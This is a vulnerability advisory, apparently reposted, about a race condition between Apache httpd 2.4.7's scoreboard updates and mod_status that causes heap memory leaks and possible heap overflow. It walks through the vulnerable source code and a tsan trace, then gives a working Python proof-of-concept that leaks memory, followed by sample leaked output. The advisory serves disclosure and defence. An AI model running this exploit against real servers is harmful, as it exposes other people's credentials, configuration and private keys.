扫码分享
验证：
体验盒子--[ 0. Sparse summary
Race condition between updating httpd's "scoreboard" and mod_status,
leading to several critical scenarios like heap buffer overflow with
user
supplied payload and leaking heap which can leak critical memory
containing
htaccess credentials, ssl certificates private keys and so on.
--[ 1. Prerequisites
Apache httpd compiled with MPM event or MPM worker.
The tested version was 2.4.7 compiled with:
./configure --enable-mods-shared=reallyall --with-included-apr
The tested mod_status configuration in httpd.conf was:
SetHandler server-status
ExtendedStatus On
--[ 2. Race Condition
Function ap_escape_logitem in server/util.c looks as follows:
1908AP_DECLARE(char *) ap_escape_logitem(apr_pool_t *p, const char
*str)
1909{
1910char *ret;
1911unsigned char *d;
1912const unsigned char *s;
1913apr_size_t length, escapes = 0;
1914
1915if (!str) {
1916return NULL;
1917}
1918
1919/* Compute how many characters need to be escaped */
1920s = (const unsigned char *)str;
1921for (; *s; ++s) {
1922if (TEST_CHAR(*s, T_ESCAPE_LOGITEM)) {
1923escapes++;
1924}
1925}
1926
1927/* Compute the length of the input string, including NULL
*/
1928length = s - (const unsigned char *)str + 1;
1929
1930/* Fast path: nothing to escape */
1931if (escapes == 0) {
1932return apr_pmemdup(p, str, length);
1933}
In the for-loop between 1921 and 1925 lines function is computing the
length of
supplied str (almost like strlen, but additionally it counts special
characters
which need to be escaped). As comment in 1927 value says, function
computes count
of bytes to copy. If there's nothing to escape function uses
apr_pmemdup to duplicate
the str. In our single-threaded mind everything looks good, but tricky
part starts
when we introduce multi-threading. Apache in MPM mode runs workers as
threads, let's
consider the following scenario:
1) ap_escape_logitem(pool, "") is called
2) for-loop in 1921 line immediately escapes, because *s isin
first loop run
3) malicious thread change memory under *s to another value
(something which is not )
4) apr_pmemdup copies that change value to new string and returns
it
Output from the ap_escape_logitem is considered to be a string, if
scenario above would occur,
then returned string would not be zeroed at the end, which may be
harmful. The mod_status
code looks as follows:
833ap_rprintf(r, "%s%s"
834"%snn",
835 ap_escape_html(r->pool,
836
ws_record->client),
837 ap_escape_html(r->pool,
838
ws_record->vhost),
839 ap_escape_html(r->pool,
840
ap_escape_logitem(r->pool,
841
ws_record->request)));
The relevant call to ap_escape_html() is at line 839 after the
evaluation of ap_escape_logitem().
The first argument passed to the ap_escape_logitem() is in fact an apr
pool associated with
the HTTP request and defined in the request_rec structure.
This code is a part of a larger for-loop where code is iterating over
worker_score structs which is
defined as follows:
90struct worker_score {
91#if APR_HAS_THREADS
92apr_os_thread_t tid;
93#endif
94int thread_num;
95/* With some MPMs (e.g., worker), a worker_score can
represent
96 * a thread in a terminating process which is no longer
97 * represented by the corresponding process_score.These
MPMs
98 * should set pid and generation fields in the worker_score.
99 */
100pid_t pid;
101ap_generation_t generation;
102unsigned char status;
103unsigned short conn_count;
104apr_off_t conn_bytes;
105unsigned long access_count;
106apr_off_t bytes_served;
107unsigned long my_access_count;
108apr_off_t my_bytes_served;
109apr_time_t start_time;
110apr_time_t stop_time;
111apr_time_t last_used;
112#ifdef HAVE_TIMES
113struct tms times;
114#endif
115char client[40];/* Keep 'em small... but large
enough to hold an IPv6 address */
116char request[64]; /* We just want an idea... */
117char vhost[32]; /* What virtual host is being
accessed? */
118};
The 'request' field in a worker_score structure is particularly
interesting - this field can be changed inside
the copy_request function, which is called by the
update_child_status_internal. This change may occur when the
mod_status is iterating over the workers at the same time the
ap_escape_logitem is called within a different
thread, leading to a race condition. We can trigger this exact
scenario in order to return a string without a
trailing . This can be achived by running two clients, one triggering
the mod_status handler and second
sending random requests to the web server. Let's consider the
following example:
1) the mod_status iterates over workers invoking
update_child_status_internal()
2) at some point for one worker mod_status calls
ap_escape_logitem(pool, ws_record->request)
3) let's asume that ws_record->request at the beginning is ""
literallyat the first byte.
4) inside the ap_escape_logitem function the length of the
ws_record->request is computed, which is 1
(an empty string consisting of )
5) another thread modifies ws_record->request (in fact it's called
ws->request in update_child_status_internal
function but it's exactly the same location in memory) and puts
there i.e. "GET / HTTP/1.0"
6) the ap_pmemdup(pool, str, 1) in ap_escape_logitem copies the
first one byte from "GET / HTTP/1.0" - "G" in
that case and returns it. The ap_pmemdup looks as follows:
112APR_DECLARE(void *) apr_pmemdup(apr_pool_t *a, const void
*m, apr_size_t n)
113{
114void *res;
115
116if (m == NULL)
117return NULL;
118res = apr_palloc(a, n);
119memcpy(res, m, n);
120return res;
It allocates memory using apr_palloc function which returns
"ditry" memory (note that apr_pcalloc overwrite
allocated memory with NULs).
So it's non-deterministic what's after the copied "G" byte.
There might beor might be not. For now let's
assume that the memory allocated by apr_palloc was dirty
(containing random bytes).
7) ap_escape_logitem returns "G....." .junk. ""
The value from the example above is then pushed to the ap_escape_html2
function which is also declared in util.c:
1860AP_DECLARE(char *) ap_escape_html2(apr_pool_t *p, const char
*s, int toasc)
1861{
1862int i, j;
1863char *x;
1864
1865/* first, count the number of extra characters */
1866for (i = 0, j = 0; s[i] != ''; i++)
1867if (s[i] == '')
1868j += 3;
1869else if (s[i] == '&')
1870j += 4;
1871else if (s[i] == '"')
1872j += 5;
1873else if (toasc && !apr_isascii(s[i]))
1874j += 5;
1875
1876if (j == 0)
1877return apr_pstrmemdup(p, s, i);
1878
1879x = apr_palloc(p, i + j + 1);
1880for (i = 0, j = 0; s[i] != ''; i++, j++)
1881if (s[i] == '') {
1886memcpy(&x[j], ">", 4);
1887j += 3;
1888}
1889else if (s[i] == '&') {
1890memcpy(&x[j], "&", 5);
1891j += 4;
1892}
1893else if (s[i] == '"') {
1894memcpy(&x[j], """, 6);
1895j += 5;
1896}
1897else if (toasc && !apr_isascii(s[i])) {
1898char *esc = apr_psprintf(p, "&#%3.3d;", (unsigned
char)s[i]);
1899memcpy(&x[j], esc, 6);
1900j += 5;
1901}
1902else
1903x[j] = s[i];
1904
1905x[j] = '';
1906return x;
1907}
If the string from the example above would be passed to this function
we should get the following code-flow:
1) in the for-loop started in line 1866 we count the length of
escaped string
2) because 's' string contains junk (due to only one byte being
allocated by the apr_palloc function),
it may contain '>' character. Let's assume that this is our
case
3) after for-loop in 1866 line 'j' is greater than 0 (at least one
s[i] equals '>' as assumed above
4) in the 1879 line memory for escaped 'd' string is allocated
5) for-loop started in line 1880 copies string 's' to the escaped
'd' string BUT apr_palloc has allocated
only one byte for 's'. Thus, for each i > 0 the loop reads
random memory and copies that value
to 'd' string. At this point it's possible to trigger an
information leak vulnerability (see section 5).
However the 's' string may overlap with 'd' i.e.:
's' is allocated under 0 with contents s = "AAAAAAAA>"
'd' is allocated under 8 then s[8] = d[0].
If that would be the case, then for-loop would run forever (s[i] never
would besince it was overwritten in the loop
by non-zero). Forever... until it hits an unmapped memory or read only
area.
Part of the scoreboard.c code which may overwrite the
ws_record->request was discovered using a tsan:
#1 ap_escape_logitem ??:0 (exe+0x0000000411f2)
#2 status_handler
/home/akat-1/src/httpd-2.4.7/modules/generators/mod_status.c:839
(mod_status.so+0x0000000044b0)
#3 ap_run_handler ??:0 (exe+0x000000084d98)
#4 ap_invoke_handler ??:0 (exe+0x00000008606e)
#5 ap_process_async_request ??:0 (exe+0x0000000b7ed9)
#6 ap_process_http_async_connection http_core.c:0
(exe+0x0000000b143e)
#7 ap_process_http_connection http_core.c:0 (exe+0x0000000b177f)
#8 ap_run_process_connection ??:0 (exe+0x00000009d156)
#9 process_socket event.c:0 (exe+0x0000000cc65e)
#10 worker_thread event.c:0 (exe+0x0000000d0945)
#11 dummy_worker thread.c:0 (libapr-1.so.0+0x00000004bb57)
#12:0 (libtsan.so.0+0x00000001b279)
Previous write of size 1 at 0x7feff2b862b8 by thread T2:
#0 update_child_status_internal scoreboard.c:0
(exe+0x00000004d4c6)
#1 ap_update_child_status_from_conn ??:0 (exe+0x00000004d693)
#2 ap_process_http_async_connection http_core.c:0
(exe+0x0000000b139a)
#3 ap_process_http_connection http_core.c:0 (exe+0x0000000b177f)
#4 ap_run_process_connection ??:0 (exe+0x00000009d156)
#5 process_socket event.c:0 (exe+0x0000000cc65e)
#6 worker_thread event.c:0 (exe+0x0000000d0945)
#7 dummy_worker thread.c:0 (libapr-1.so.0+0x00000004bb57)
#8:0 (libtsan.so.0+0x00000001b279)
--[ 3. Consequences
Race condition described in section 2, may lead to:
- information leak in case when the string returned by
ap_escape_logitem is notat the end,
junk after copied bytes may be valuable
- overwriting heap with a user supplied value which may imply code
execution
--[ 4. Exploitation
In order to exploit the heap overflow bug it's necessary to get
control over:
1) triggering the race-condition bug
2) allocating 's' and 'd' strings in the ap_escape_html2 to overlap
3) part of 's' which doesn't overlap with 'd' (this string is copied
over and over again)
4) overwriting the heap in order to get total control over the cpu or
at least modify the
apache's handler code flow for our benefits
--[ 5. Information Disclosure Proof of Concept
-- cut
#! /usr/bin/env python
import httplib
import sys
import threading
import subprocess
import random
def send_request(method, url):
try:
c = httplib.HTTPConnection('127.0.0.1', 80)
c.request(method,url);
if "foo" in url:
print c.getresponse().read()
c.close()
except Exception, e:
print e
pass
def mod_status_thread():
while True:
send_request("GET", "/foo?notables")
def requests():
evil = ''.join('A' for i in range(random.randint(0, 1024)))
while True:
send_request(evil, evil)
threading.Thread(target=mod_status_thread).start()
threading.Thread(target=requests).start()
-- cut
Below are the information leak samples gathered by running the poc
against the
testing Apache instance. Leaks include i.e. HTTP headers, htaccess
content,
httpd.conf content etc. On a live systems with a higher traffic
samples should
be way more interesting.
$ ./poc.py | grep "" |grep -v AAAA | grep -v "{}"| grep -v notables
127.0.0.1 {A} []
127.0.0.1 {A.01 cu0 cs0
127.0.0.1 {A27.0.0.1} []
127.0.0.1 {A|0|10 [Dead] u.01 s.01 cu0 cs0
127.0.0.1 {A
Û []
127.0.0.1 {A HTTP/1.1} []
127.0.0.1 {Ab><br />
127.0.0.1 {AAA}</i> <b>[127.0.1.1:19666]</b><br
/>
127.0.0.1 {A0.1.1:19666]</b><br />
127.0.0.1 {A§} []
127.0.0.1 {A cs0
127.0.0.1 {Adentity
127.0.0.1 {A HTTP/1.1} []
127.0.0.1 {Ape: text/html; charset=ISO-8859-1
127.0.0.1 {Ahome/IjonTichy/httpd-2.4.7-vanilla/htdocs/} []
127.0.0.1 {Aÿÿÿÿÿÿÿ} []
127.0.0.1 {Aanilla/htdocs/foo} []
127.0.0.1 {A0n/httpd-2.4.7-vanilla/htdocs/foo/} []
127.0.0.1 {A......................................... } []
127.0.0.1 {A-2014 16:23:30 CEST} []
127.0.0.1 {Acontent of htaccess
127.0.0.1 {Aver: Apache/2.4.7 (Unix)
127.0.0.1 {Aroxy:balancer://mycluster} []
We hope you enjoyed it.
Regards,
Marek Kroemeke, AKAT-1 and 22733db72ab3ed94b5f8a1ffcde850251fe6f466
体验盒子
